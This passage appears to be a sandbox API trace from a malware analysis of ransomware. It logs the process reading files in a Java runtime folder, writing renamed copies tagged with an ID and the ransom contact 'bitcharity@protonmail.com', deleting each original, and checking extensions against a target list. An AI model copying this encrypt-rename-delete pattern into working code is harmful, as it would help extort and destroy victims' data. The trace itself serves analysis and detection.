lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0299.308] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.308] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.308] SetEndOfFile (hFile=0x1084) returned 1 [0299.309] CloseHandle (hObject=0x1084) returned 1 [0299.309] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.309] SetEndOfFile (hFile=0x10b4) returned 1 [0299.310] CloseHandle (hObject=0x10b4) returned 1 [0299.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.310] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0299.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.310] lstrlenW (lpString=".doc") returned 4 [0299.310] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.310] lstrlenW (lpString=".docx") returned 5 [0299.310] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0299.311] lstrlenW (lpString=".pdf") returned 4 [0299.311] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString=".xls") returned 4 [0299.311] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString=".xlsx") returned 5 [0299.311] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0299.311] lstrlenW (lpString=".ppt") returned 4 [0299.311] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString=".zip") returned 4 [0299.311] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString=".rar") returned 4 [0299.311] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString=".bz2") returned 4 [0299.311] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.311] lstrlenW (lpString=".7z") returned 3 [0299.311] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString=".dbf") returned 4 [0299.311] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString=".1cd") returned 4 [0299.311] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString=".jpg") returned 4 [0299.311] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.311] lstrlenW (lpString=".doc") returned 4 [0299.312] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.312] lstrlenW (lpString=".docx") returned 5 [0299.312] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0299.312] lstrlenW (lpString=".pdf") returned 4 [0299.312] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.312] lstrlenW (lpString=".xls") returned 4 [0299.312] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.312] lstrlenW (lpString=".xlsx") returned 5 [0299.312] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0299.312] lstrlenW (lpString=".ppt") returned 4 [0299.312] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.312] lstrlenW (lpString=".zip") returned 4 [0299.312] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.312] lstrlenW (lpString=".rar") returned 4 [0299.312] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.312] lstrlenW (lpString=".bz2") returned 4 [0299.312] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.312] lstrlenW (lpString=".7z") returned 3 [0299.312] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.312] lstrlenW (lpString=".dbf") returned 4 [0299.312] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.312] lstrlenW (lpString=".1cd") returned 4 [0299.312] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46 [0299.312] lstrlenW (lpString=".jpg") returned 4 [0299.312] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.313] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.313] lstrlenW (lpString="jp2iexp.dll") returned 11 [0299.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.313] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=296000) returned 1 [0299.313] CloseHandle (hObject=0x10b4) returned 1 [0299.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0299.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.314] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.314] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.314] GetLastError () returned 0x0 [0299.314] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x48440, lpOverlapped=0x0) returned 1 [0299.841] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x48450, lpOverlapped=0x0) returned 1 [0299.870] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.871] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xea, lpOverlapped=0x0) returned 1 [0299.872] SetEndOfFile (hFile=0x1084) returned 1 [0299.872] CloseHandle (hObject=0x1084) returned 1 [0299.872] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.872] SetEndOfFile (hFile=0x10b4) returned 1 [0299.876] CloseHandle (hObject=0x10b4) returned 1 [0299.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.876] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0299.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.876] lstrlenW (lpString=".doc") returned 4 [0299.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.876] lstrlenW (lpString=".docx") returned 5 [0299.876] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0299.876] lstrlenW (lpString=".pdf") returned 4 [0299.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.876] lstrlenW (lpString=".xls") returned 4 [0299.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.876] lstrlenW (lpString=".xlsx") returned 5 [0299.876] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0299.876] lstrlenW (lpString=".ppt") returned 4 [0299.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.876] lstrlenW (lpString=".zip") returned 4 [0299.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".rar") returned 4 [0299.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".bz2") returned 4 [0299.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.877] lstrlenW (lpString=".7z") returned 3 [0299.877] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString=".dbf") returned 4 [0299.877] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString=".1cd") returned 4 [0299.877] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString=".jpg") returned 4 [0299.877] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString=".doc") returned 4 [0299.877] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".docx") returned 5 [0299.877] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0299.877] lstrlenW (lpString=".pdf") returned 4 [0299.877] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".xls") returned 4 [0299.877] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".xlsx") returned 5 [0299.877] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0299.877] lstrlenW (lpString=".ppt") returned 4 [0299.877] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.877] lstrlenW (lpString=".zip") returned 4 [0299.877] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".rar") returned 4 [0299.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.877] lstrlenW (lpString=".bz2") returned 4 [0299.877] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.878] lstrlenW (lpString=".7z") returned 3 [0299.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.878] lstrlenW (lpString=".dbf") returned 4 [0299.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.878] lstrlenW (lpString=".1cd") returned 4 [0299.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0299.878] lstrlenW (lpString=".jpg") returned 4 [0299.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.878] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.878] lstrlenW (lpString="jsound.dll") returned 10 [0299.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.881] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=35392) returned 1 [0299.881] CloseHandle (hObject=0x10b4) returned 1 [0299.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0299.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.881] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.881] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.881] GetLastError () returned 0x0 [0299.881] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x8a40, lpOverlapped=0x0) returned 1 [0299.941] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x8a50, lpOverlapped=0x0) returned 1 [0299.943] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.943] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0299.943] SetEndOfFile (hFile=0x1084) returned 1 [0299.951] CloseHandle (hObject=0x1084) returned 1 [0299.952] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.952] SetEndOfFile (hFile=0x10b4) returned 1 [0299.952] CloseHandle (hObject=0x10b4) returned 1 [0299.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.953] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0299.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".doc") returned 4 [0299.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString=".docx") returned 5 [0299.954] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0299.954] lstrlenW (lpString=".pdf") returned 4 [0299.954] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString=".xls") returned 4 [0299.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString=".xlsx") returned 5 [0299.954] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0299.954] lstrlenW (lpString=".ppt") returned 4 [0299.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".zip") returned 4 [0299.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString=".rar") returned 4 [0299.954] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString=".bz2") returned 4 [0299.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.954] lstrlenW (lpString=".7z") returned 3 [0299.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".dbf") returned 4 [0299.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".1cd") returned 4 [0299.954] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".jpg") returned 4 [0299.954] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.954] lstrlenW (lpString=".doc") returned 4 [0299.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString=".docx") returned 5 [0299.955] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0299.955] lstrlenW (lpString=".pdf") returned 4 [0299.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString=".xls") returned 4 [0299.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString=".xlsx") returned 5 [0299.955] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0299.955] lstrlenW (lpString=".ppt") returned 4 [0299.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.955] lstrlenW (lpString=".zip") returned 4 [0299.955] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString=".rar") returned 4 [0299.955] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.955] lstrlenW (lpString=".bz2") returned 4 [0299.955] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.955] lstrlenW (lpString=".7z") returned 3 [0299.955] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.955] lstrlenW (lpString=".dbf") returned 4 [0299.955] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.955] lstrlenW (lpString=".1cd") returned 4 [0299.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0299.955] lstrlenW (lpString=".jpg") returned 4 [0299.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.955] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.956] lstrlenW (lpString="kinit.exe") returned 9 [0299.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.956] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=16448) returned 1 [0299.956] CloseHandle (hObject=0x10b4) returned 1 [0299.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0299.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0299.957] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.957] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0299.958] GetLastError () returned 0x0 [0299.958] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x4040, lpOverlapped=0x0) returned 1 [0300.116] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x4050, lpOverlapped=0x0) returned 1 [0300.260] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.260] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0300.260] SetEndOfFile (hFile=0x10ac) returned 1 [0300.260] CloseHandle (hObject=0x10ac) returned 1 [0300.260] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.260] SetEndOfFile (hFile=0x10b4) returned 1 [0300.264] CloseHandle (hObject=0x10b4) returned 1 [0300.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0300.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0300.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 